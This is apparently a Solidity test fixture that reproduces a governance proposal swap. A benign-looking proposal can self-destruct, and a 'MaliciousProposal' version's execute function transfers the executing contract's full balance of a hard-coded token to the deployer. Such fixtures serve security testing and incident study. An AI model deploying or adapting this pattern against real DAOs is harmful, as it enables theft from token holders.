// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract InitialProposal {
  event MockExecuted(uint256 num);

  function executeProposal() external virtual {
    emit MockExecuted(1);
  }

  function emergencyStop() public {
    selfdestruct(payable(0));
  }
}

contract MaliciousProposal is InitialProposal {
  address public immutable deployer;

  constructor() public {
    deployer = msg.sender;
  }

  function executeProposal() external virtual override {
    IERC20 torn = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C);
    uint256 bal = torn.balanceOf(address(this));
    torn.transfer(deployer, bal);
  }
}